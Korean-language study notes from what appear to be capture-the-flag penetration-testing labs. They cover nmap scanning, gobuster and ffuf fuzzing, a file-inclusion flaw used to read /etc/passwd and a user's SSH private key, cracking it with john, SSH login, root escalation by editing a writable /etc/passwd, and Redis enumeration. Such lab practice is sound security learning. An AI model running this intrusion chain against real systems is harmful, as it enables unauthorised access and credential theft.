모의해킹

정보수집 + 취약점 점검 -> 모의해킹 -> 결과보고서 작성

black box / white box / gray box

Capture the flag

: sudo nmap -sn 192.168.16.0/24 # 해당 대역 스캐닝

: sudo nmap -sT 192.168.16.44 # TCP 포트 open/close 스캔

↳ -sS -sF -sA -sN -sX ...

→ 22 port 80 port open 확인

http 접속후 Page source 확인

→ http directory 확인

: sudo gobuster dir -u http://192.168.16.44 -w /usr/share/wordlists/

dirbuster/directory-list-lowercase-2.3-medium.txt

해당 txt 파일에 있는 단어로 dir 스캔

http://192.168.16.44/robots.txt → 검색엔진 크롤러에게 웹사이트의 어떤 페이지를 수집/차단 안내하는 텍스트 파일

Fuzzing : 무작위 입력값을 대입해 취약점과 버그를 찾는 방법

: sudo ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -u http://192.168.16.44/secret/evil.php?FUZZ=/etc/passwd -fs 0

txt 파일을 대입하여 packit 크기 이외를 제외하고 전송

File inclusion 취약점.

: http://192.168.16.44/secret/evil.php?command=/home/maurice/.ssh/id_rsa

id_rsa ⇒ Linux ssh 접속을 위한 key가 저장된 파일

: sudo vi id_rsa ← key 파일 복사

: sudo ssh2john id_rsa > key.hash # 크래킹하기 쉬운 형태로 변환

: sudo john key.hash # 크래킹 진행 → 결과 unicorn

: sudo ssh -i id_rsa maurice@192.168.16.44 # maurice 계정으로 ssh 접속시도

→ ssh 접속 후 권한상승 시도

: find / -writable -type f 2>/dev/null # 현재 사용자에게 write 권한이 있는 파일 탐색

방식 1 : 사용자의 Uid / Gid 값 변경

방식 2 : root의 shadow 파일에 원하는 pw값 저장

방식 2

: openssl passwd 1234 # 결과값 저장

: vi /etc/passwd

→ root:x:0:0: ⇒ root:(openssl pw 암호):0:0: 으로 수정

: su root

CTF . 2

: sudo nmap -A -v -p- 192.168.16.94 # 열려있는 port 스캔

: sudo gobuster dir -u 192.168.16.94 ···

→ : ps -ely
: ps aux
) 현재 실행 프로그램 확인

: ss -tulnp # port 상태확인

: redis-cli

: get (key)

Redis -server



tacas